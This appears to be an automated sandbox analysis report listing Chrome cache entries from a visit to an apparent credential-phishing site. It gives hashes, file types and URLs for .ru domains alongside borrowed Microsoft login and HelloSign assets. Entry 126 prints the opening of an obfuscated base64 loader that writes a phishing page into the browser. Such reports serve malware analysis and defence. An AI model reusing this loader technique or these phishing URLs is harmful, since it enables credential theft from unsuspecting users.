Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.625
Encrypted:	false
SSDEEP:	3:HYOvinY:4OD
MD5:	2824F3BA5F591CD0F71B7F459AD29AE5
SHA1:	65369608C6BD54AC4C703B6904D17D7D759878BE
SHA-256:	0C0A807545A0344B360C0F692D284799A2447310C7A9AACF3CB92C22D13E906A
SHA-512:	C1C3FFD34A4E9131B0F68CF6A2A35B62994D55332D18BA06E3464C213D4245B6C89DD55E797317078A3705E265D65AC232E042C8BB9531F65871659EE4DA50DD
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmQLmAnv3-5UBIFDXCu2Qk=?alt=proto
Preview:	CgkKBw1wrtkJGgA=

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
URL:	https://yu0lcifjnax55jgzy5bwood5zksv6vfrdrtwasouqoe4urasgn9th.expritraw.ru/jbqJHqVDGtkTNppzzzrWOcAESIPGAYITGGXSAECQNOFGRUOWRCMEYDKYWRMTMDYOCOOFEHAUDXBMBHH
Preview:	1

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (7573), with CRLF line terminators
Category:	downloaded
Size (bytes):	20089
Entropy (8bit):	5.870882635259314
Encrypted:	false
SSDEEP:	384:lnuLJb5Z6VexSNDq5RPAKnuLJb5Z6VexSNDq5RPA4lrqwlrq1j:Mb5Z6VexuDq5RPYb5Z6VexuDq5RPNlrS
MD5:	C121F197DE3EF474AC929470F70A94B8
SHA1:	A907002AC9AFB272CA6276C931711CD7AB2A1A4D
SHA-256:	2827DB024E1EB5DE8D7C6287E4386DE05374E35C6D2A7FF424234080B2B85069
SHA-512:	B5C9EDE9FAA8F9CC3BBEDC77486149FDB6E8BDA1EDCD2C744F2484C35ED0C7B63AD300E65218F31C41CFD0108D4C31B26097F5814ED7D66E4EBB6F7EC48BDF4D
Malicious:	false
Reputation:	low
URL:	https://zorx.xemitarnor.ru/U6OnAOL/
Preview:	Success is walking from failure to failure with no loss of enthusiasm. -->..<script>....if(atob("aHR0cHM6Ly96b3J4LnhlbWl0YXJub3IucnUvVTZPbkFPTC8=") == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	17531
Entropy (8bit):	7.8782997758684346
Encrypted:	false
SSDEEP:	384:KQhjZSW7lNcDQYxNTlJ6lS3y6dMNw1DDK9LbqpzS3lSx:7SW7ZYhJ6lSC6dMsDDdpzS34x
MD5:	5405D77C51FB46A0CBF26CB96FE4DA4D
SHA1:	32454DFA1AF07952738C877992EFF9D975C36B94
SHA-256:	A0F8CE7A5D5970E38741BAE9BAB7008CE3667987B8F0CF07A902DD9A25F9D0CB
SHA-512:	E1624D12C8C12B1F2A366FA0122C84043D01F3323F9769BAF3DD34A31D6A76BA0328D8F6D96E1EDD24A85E1AD9CE621A3707F250937FDE7EC98291141429DE23
Malicious:	false
Reputation:	low
URL:	https://cdn-icons-png.flaticon.com/512/847/847969.png
Preview:	.PNG........IHDR..............x......sBIT....\|.d.....pHYs...F...F.hS .....tEXtSoftware.www.inkscape.org..<... .IDATx...w.dy]..w.....z.&.......!("\.%...k...I?....CP..%.@...J.`.z..E$..{..d........].}.OW....jvgf;VW.........Uof......B.VK...3.R..HJJH.w~..%."...y3..H...a..~.=.....`.cg..K:(.+~.......]+..`N.YIg.....JW........#..%.......H..Ig\S..n......J7.e.\|.......LK.E...o.t\.....%I?.tG...$.a..FS.>A..lQg....(...n...dVW4...w.8.....`....A.c$=V.%...5...K.[..$}Y.W.T...H.....Wp.LT...@.......=s...NC .T.n6...4..4......r......../EI......T:k6.`.....3+..%=E.OIz..;.?..%._%}F.7Yu. ....9vf..'.].$i.l"......\|.J...........y...j....tBR.h(xMK.w.n..U.W.?...../8vfB..$=U..$..M...J...OJ...J....l...<.3cj.._V{.?n6...*..Q.'.T:g8.....x.cg..~V...ICf.!..jO .GI.l....y.M....uN..i....ezp...O.....'"..h..J..zO..lI?'i.l"`K.>%..>..B....\.3.$....}...u.%._._[..E.a..h.`.cg"j..P........h.=_.>m....y.p4.0.3.....<I{....iF..$..J....`...@9v&&..%.H...l. k....{$}.J.k.. @h.0........~S.N.q.7...NI

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 142534
Category:	dropped
Size (bytes):	49954
Entropy (8bit):	7.99493321471063
Encrypted:	true
SSDEEP:	1536:vr2T/4LxF17O6lJgX3ys65sBcY++i0RumwzV:Cz4LL1imP56m+i+umwzV
MD5:	E16AC075AC754DBD1CF969508220E30D
SHA1:	69A91FF7A1C044231D6D28B4DD4C6AD3D34F2A50
SHA-256:	E8AC3DCEF9E67CC776542A40C71B719D41668DF41D294C1A49A5AD23C5A5B5EC
SHA-512:	12C4E6E5BD999E7BF431DCA707DA4BB5193D2795DD139DCAFC38CAFA757A88F75068D3F2821840068247B9F6CFB55178EF223CDB3349444E622EA4A8E69700A6
Malicious:	false
Reputation:	low
Preview:	...........m[.8.0........OL....;w.....a.....\N.......h.r~........=........,..JU.......T~.l..?..y..2.X9.\|xvP9...TN.......?.....qe.OE.~Gn,.J.T....0......r..#.V&Qx_I.De.._.8.+S?N..HL..J......%O..S........(=.gO.\|.T.0......6.. ..y....x....8..p.T"1...\|$.Cz..V.D%.Ie.F....^."..5....c...?..T8..._..b.gs.4....S]kDZ..7.J.V..l}..?.....c...g.A...8.......8.VB......^..f..O.... ...`...H.{.$. OP..S..AC.gVE.I8..).-U.....R...A..%.T[...Fc{..49..If...y.'w.Q}..oz..v.....W...pp..%..G.+.r:.A......[.:..s.?U......_............k.y0.U....+I5..0.>.Q%.".w.....O....5w..;.;.>..mr.k53r.......k.0.I.<.D......d&...c..jhE..zx.]....y\|W....i...`.. .k.P...@.Uq.\;..1............z\|.O..Y5..........XtR,....R...k3..<..\.2.>.;T..$...kj.5-.i?/..YH`!jb..Z..=.&.L..F...([..y....K5pzQ.>i.1.......0..P...@...L.".n.x..Cj?..w.:+...n..4..H.. .....S.....h....8....v.l.[M.0..q..c;.....0..*.8.......l.TM..n "..km..S.<.T..].k.+1.....P.V...4-W.C....0-/.S;.w......K.z+...DZ....=q.E.@ .Dv.z...@.d.#tE...

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113424
Category:	downloaded
Size (bytes):	20410
Entropy (8bit):	7.980582012022051
Encrypted:	false
SSDEEP:	384:8RvmaMFysnOXZ2m9zM+udO6GGUpeAU02oDGnN5EsQwWUQGTS8r2k:8pmm7ZFM+ObGGUIjN5PJV3Tp
MD5:	3BA4D76A17ADD0A6C34EE696F28C8541
SHA1:	5E8A4B8334539A7EAB798A7799F6E232016CB263
SHA-256:	17D6FF63DD857A72F37292B5906B40DC087EA27D7B1DEFCFA6DD1BA82AEA0B59
SHA-512:	8DA16A9759BB68A6B408F9F274B882ABB3EE7BA19F888448E495B721094BDB2CE5664E9A26BAE306A00491235EB94C143E53F618CCD6D50307C3C7F2EF1B4455
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css
Preview:	...........}k..6..w...R..J.H=GSI..x.9...}T.....)Q..f<...~.F.h..x..{+.-.....h..n....</v.ev......W.,.bU..rW.I...0x...C..2...6]..W_......../x.........~.z.}.\|.#x......AgO.\|XgU...4 .^'U...mP.A.].Z.U.!..Y.......:.ve.?.!..d.N...xJ...mR......0.@p...lKr/...E.-. .....\|l.4.o.i.......L.iF..T{.n....2....VEY.y=..=..T+V./.b....\....7.sH.w{.h.....!.."F.k.!.......d...mS.rh.&G.../..h&..RE"!.A/.......A....L...8.q.M...t[...R...>.6;R..^.Vu..9.[F........>A.:HT}w]......2........p......'T.^]}.^..yJ>.<..pq..h.\|..j....j.x..-...c...f...=".)..U.X'.M..l.]ZVtl\.I..}.0.~B0Y'.N...E.4.Xd..e...a.........."..9+d.&..l.$E..R.u.g.Q..w&...~I. .y..D.4;..'.."-.....b...)k.n.M...,3J.z_..&2f.h;.&.R.y..P..X.....\P.....r...B.$........<....H5.M.."'#.6mQl..mQ5.=.\...O.....^..jM..u.F..Oh.lNI..j..T..u...I..._........{.\...{..._\|..={O..z..>......x..5Q.D7?{...^...^.......o.=.z......v......z.C...Gtw...0!..M@....^...^.x..G....W...{...)..y.<c3...^>{......7._..'d__...;R.

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 15755
Category:	dropped
Size (bytes):	5525
Entropy (8bit):	7.961202222662501
Encrypted:	false
SSDEEP:	96:dySl6/e7OAQD3cS66g8cxO4qXgy66F0+fgENU28TjN3KY6meSsj0ktMvB4YJix2I:dNl6/zFDW6dlXV665ReB67j0sEBWxl
MD5:	28CE5BF8BACB96D1C2CFA0092145C6EE
SHA1:	303A4629C4467AF2C551EC9E6353464C8C25827D
SHA-256:	6B89EEC14865DB53FE20FB3C70B0853362E21669DACE19C06172F673B2EDC5CD
SHA-512:	6A10794F105EF5C6F7F7DC2C89152A8342E6D9D8D9490783863ED2737FFD5982E916F72E0A9ECB944AB9815FA70BD20C7256A91E2A62D971F80C23822B809A02
Malicious:	false
Reputation:	low
Preview:	...........[}w.F....Bh..i3.M.t.rU.....]..M...@.(..........@..N..I-k..;w.....U.F..v....N....]....MC......U.]o>..mJ.w..~.5<......Z.h~8..8J..m......0.&Z:.Z.D_. .Z.....<.f..t..].I:..........b. ...}.ja......'..x......m6..c...$..........b\|s......O.a..cE..u.2..6jG!.A.....P..?q@?"..).Mk.0.[."V..M..4...4.~}.?.i..D.}h\|..$x.Ajm.S..H..-.x.If..]..1.D0.F......pq.(.\|...y\...5....y2.q.Fq...[.\|..n.b.i_D......xuR......I.TS.4..}\|<...o....MG.+@.......\.?."...+[...A..&...{]......u..+p?......\|...j....7...=H..cwp.38.;%c.....O..............p...X.g!....r...d..5.%x.....;...j6p...p......c.Nd.:...&.....%.. tR.d.@.. ...1..6....i....:...s=..V...iN..1../tH..p<..Mo.......`&.7uA;..(lC.......4...?..0..[S@...D..\|....=.wh2...<.. ...)..F...!. .C...k...S.pPt......s..K.V...w......7....Zn.d..t]l.........5=.(..#.....l._.Ip......-O.6.,......q4....!XS`6k..k.....9k....{~*.....X....q......l.>x..={j.n..W......e..Q..I/..;a..MS>.!5v.d.B+.o.....q...j.q..Z..=..@g.1q..,yBV91m.j>..4.o...

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113769
Category:	downloaded
Size (bytes):	35170
Entropy (8bit):	7.993096534744333
Encrypted:	true
SSDEEP:	768:K+LvEzA9nny7u0zF35Hm4ngomu6yeLDKDnccqmcmHvVVPCLVf:ny7f5GpuheL4htv3Pkf
MD5:	171A4DD9400708B88724B57D62B24A6A
SHA1:	9C6F1303B8F02FCE18D20EC9CADA11D38D0C4B37
SHA-256:	EA00750636C11DBD4FA3ACB1B3CDCBAE3EFA43F6B6C3753444B6D6A242AE9336
SHA-512:	5B13B63912B34E3EEEDD8DA5953B869A83DF82FFD2A8D737AA81DC984F1811800A534F340C48041DA803C25B6B8F5605EA8D003B6A09A1874408F95A710F5126
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.\|..t...Ax.7..b..v..v.m-...~v...:....r..._........,...A........z.....\|..t.. [.C.....{...~..c......ua...~.v<.I..P#._{{}._.......Km...eR....u?GY..h..}..gAv...<.l.Z...#.....:P?Q..."..........,.D...I<._.'..-..=..;.>.C_..#.....D[0.Y..*...M.....{.YT,...x..SQ/......N<`...\|._.k....0)......+.Z..4...M. ...i...`.ml..-X.E.....d.. .}.e4.{6hz^..}....@....W.1...d8...>.@.....(.'[..`..A..?...yL.\|..QTF...-.='S@.Q.sM.`...}.t..$..y^..0J.kC.S...U.

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65534), with no line terminators
Category:	downloaded
Size (bytes):	1008617
Entropy (8bit):	5.074536501720418
Encrypted:	false
SSDEEP:	24576:u4oIT3EIoNgBY+gabLQQYuLjJFbiDb58raFBoQsb8YMYlYPTL:u4V3EIoNgBY+gabLQQYurbiDb58raFBr
MD5:	B8843B5201E924093DE6ADBC9030BEAD
SHA1:	A7EDAD302005ADB4C3A2FBBE8D3D06D73743B0CF
SHA-256:	1B098C5A9CB476795697CBCA8CDDC12DA188A274B3AEC38BDF816DD3FB60A429
SHA-512:	452377F888E01775BBB292D37AAE0F08EBE1F8F15A8CA5FA1DB5F5B65D98184C31B0E8369B68EAFA2CA14FCA4615403CAF841297625DDFC6B06E372FB33007AC
Malicious:	false
Reputation:	low
URL:	https://cdn.hellosign.com/5be974e/build/signer.css
Preview:	/! Commit Hash: 5be974e9b5 /.row{margin:0 auto;max-width:71.25rem;width:100%;zoom:1}.row:after,.row:before{content:" ";display:table}.row:after{clear:both}.row.collapse>.column,.row.collapse>.columns{padding-left:0;padding-right:0}.row.collapse .row{margin-left:0;margin-right:0}.row .row{margin:0 -.9375rem;max-width:none;width:auto;zoom:1}.row .row:after,.row .row:before{content:" ";display:table}.row .row:after{clear:both}.row .row.collapse{margin:0;max-width:none;width:auto;*zoom:1}.row .row.collapse:after,.row .row.collapse:before{content:" ";display:table}.row .row.collapse:after{clear:both}.column,.columns{float:left;padding-left:.9375rem;padding-right:.9375rem;width:100%}@media only screen{.column.small-centered,.columns.small-centered{float:none!important;margin-left:auto;margin-right:auto}.column.small-uncentered,.columns.small-uncentered{float:left!important;margin-left:0;margin-right:0}.column.small-uncentered.opposite,.columns.small-uncentered.opposite{float:right}.small

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1547 x 1549, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	22658
Entropy (8bit):	6.025307036257263
Encrypted:	false
SSDEEP:	384:ZJ6fU/QK65OOF/pGgMRPJz6mF8wPEUSZJZZo1k:ZJLQ3DFyZ787USjo1k
MD5:	46806C0A76D512C9F288CFC281014A25
SHA1:	415F8375FCD54B42CE1EAF595246176129A10623
SHA-256:	6E94E824FA297EC921F1C19AC18D1FC91A51699AF955925B4514A40B6CCF2599
SHA-512:	5A4970BE36EAD808B4F1F1BFE20F8B5ED28CDF5236ADAB14D5D21A1E8258CE8CE7B8DDBCB01C53D952D39C4821DD2E84CF0A2F5B90452A783D0CA026FFDEA946
Malicious:	false
Reputation:	low
URL:	https://meta-q.cdn.bubble.io/f1718227932057x822365466237625200/DOCU-60cafc67.png
